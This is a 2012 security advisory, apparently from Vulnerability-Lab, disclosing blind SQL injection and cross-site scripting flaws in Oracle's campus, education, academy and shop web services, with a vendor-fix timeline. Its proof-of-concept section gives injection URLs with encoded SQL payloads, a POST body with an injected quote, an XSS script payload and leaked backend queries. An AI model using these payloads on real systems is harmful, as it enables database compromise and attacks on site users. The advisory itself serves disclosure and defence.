Oracle Service Applications SQL Injection



EKU-ID: 1920 CVE: OSVDB-ID:
Author: Mohd. Shadab Siddiqui Published: 2012-04-13 Verified: Verified
Download:

Rating

¡î¡î¡î¡î¡î
Home


Title:
======
Oracle Service Applications - SQL Injection Vulnerabilities


Date:
=====
2012-04-12


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=478


VL-ID:
=====
478


Introduction:
=============
Oracle Corporation (NASDAQ: ORCL) is an American multinational computer technology corporation that specializes 
in developing and marketing computer hardware systems and enterprise software products ‡° particularly database 
management systems. Headquartered at 500 Oracle Parkway, Redwood Shores, Redwood City, California, United States 
and employing approximately 111,298 people worldwide as of 30 November 2011, it has enlarged its share of the 
software market through organic growth and through a number of high-profile acquisitions. By 2007 Oracle had 
the third-largest software revenue, after Microsoft and IBM.

The company also builds tools for database development and systems of middle-tier software, enterprise resource 
planning software (ERP), customer relationship management software (CRM) and supply chain management (SCM) software.
Larry Ellison, a co-founder of Oracle Corporation, has served as Oracle s CEO throughout its history. He also 
served as the Chairman of the Board until his replacement by Jeffrey O. Henley in 2004. On August 22, 2008 the 
Associated Press ranked Ellison as the top-paid chief executive in the world.

(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Oracle_Corporation )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered multiple blind SQL Injection Vulnerabilities on Oracles official service application.


Report-Timeline:
================
2012-03-28:	Vendor Notification
2012-03-29:	Vendor Response/Feedback
2012-04-11:	Vendor Fix/Patch 
2012-04-12:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
Multiple remote SQL Injection vulnerabilities are detected on on Oracles official service application(Web-Servers).
The vulnerability allows an attacker (remote) to inject/execute own sql commands on the affected application dbms. Successful 
exploitation of the vulnerability results in dbms, service & application compromise.
The vulnerabilities are located on the shop, campus, education & academy service of oracle.

Vulnerable Module(s):
                                                         [+] emea1-events-remove3
                                                         [+] cn-profile-oardc.jsp?flag=
                                                         [+] us-jobdesc.jsp
                                                         [+] cn-profile-add-oardc.jsp

Affected Service(s):
                                                         [+] https://campus.oracle.com
                                                         [+] http://education.oracle.com
                                                         [+] https://academy.oracle.com
                                                         [+] https://shop.oracle.com

Picture(s):
                                                         ../1.png
                                                         ../2.png
                                                         ../3.png
                                                         ../4.png


Proof of Concept:
=================
The sql injection vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...


https://campus.oracle.com/campus/HR/emea1-events-remove3.jsp?select1='+ (select convert(int,CHAR(95)+
CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) 
FROM syscolumns) +' 

https://campus.oracle.com/campus/HR/us-jobdesc.jsp?select2='+ (select convert(int,CHAR(95)+
CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) 
FROM syscolumns) +'&Submit=Go 


https://academy.oracle.com/pls/html/wwv_flow.show

post data 

f01=false&f02=ASC&p_flow_id=300&p_flow_step_id=2&p_instance=3793763020344869&p_request=APXWGT&p_
widget_action=COLUMN_ORDER&p_widget_mod=ACTION&p_widget_name=worksheet&x01=1%27%22&x02=9823900149811628


XSS

https://campus.oracle.com/campus/HR/cn-profile-direct.jsp?flag='"--></style></script><script>alert(/Vulnerable/)</script> 


Few Sql queries that can be seen in source page :


SELECT class_id,doc_code,to_char(class_date,NVL(wc.date_format,'DD-MON- YYYY')) dates, seats_avail, cl.city,
cl.state, customer_sat_flag, deep_link_info, ed_center_id, cl.location_id, cl.location_code,loc_type,
spoken_language, course_id, activity_version_id ,class_start_time,class_end_time, class_duration,oat.translation_
attributes audiencetype_attributes, cl.timezone timezone, cl.parent_org_id, cl.territory_code FROM LQ_CLASS_SEARCH cl,OTA_
AUDIENCE_TYPES oat, WDDI_COUNTRY wc ,MAP_URLS mu WHERE doc_code = ( SELECT easi_code FROM COURSES WHERE ID
 = 'D67020GC20' AND org_id = 1001 ) AND mu.org_id(+) = cl.org_id AND mu.city(+) = cl.city AND mu.state(+) = cl.state AND
 mu.location_code(+) = cl.location_code AND cl.org_id =1001 AND wc.org_id = cl.org_id AND oat.audience_code = cl.audience_type 
AND EXISTS ( SELECT 1 FROM WDDI_AUDIENCE_TYPES_MAP watm, WDDI_AUDIENCE_
TYPES wat , OTA_AUDIENCE_TYPES oat, WDDI_OTA_AUDIENCE_MAPS woam WHERE wat.audience_type_id IN
 (4,4) AND watm.org_id = 1 AND watm.course_id = 'D67020GC20' AND wat.audience_type_id = watm.audience_type_id 
AND oat.audience_code = cl.audience_type AND woam.ota_audience_id = oat.audience_id AND woam.wddi_audience_id = 
watm.audience_type_id )ORDER BY cl.class_date,cl.state,cl.city

SELECT /*+ FIRST_ROWS PUSH_SUBQ */ WEBREG_COURSE_RESULTSCSS.getSortOrder(c.org_id,c.coursetitle,c.id,c.easi_code,c.short_desc,'',m.promotion_start_
date,m.promotion_end_date,m.promotional,m.popularity), c.id, lowercase, deliverytype, short_desc,ekit_yn 
FROM COURSES c ,COURSE_METADATA m ,Related_types rt , ( SELECT watm.course_id FROM wddi_audience_types_
map watm, wddi_audience_types wat WHERE wat.audience_type_id IN (4,4) AND watm.org_id = 1 AND wat.audience_type_
id = watm.audience_type_id ) w1 where c.org_id = 1001 AND w1.course_id = c.id AND c.activity_status=2 AND 
NVL(c.deliverysubtype,0) !=9 AND m.org_id = c.org_id AND m.easi_code = c.easi_code AND rt.deltype_id = 
c.DELIVERYTYPE ORDER BY 1 , rt.ORDER_ID, WEBREG_COURSE_
RESULTSCSS.getPromotional(m.promotion_start_date,m.promotion_end_date,m.promotional) desc, m.popularity asc, id desc


Risk:
=====
The security risk of the remote sql injection vulnerabilities are estimated as critical.


Credits:
========
Vulnerability Research Laboratory - Mohd. Shadab Siddiqui


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

    						Copyright © 2012|Vulnerability-Lab






-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com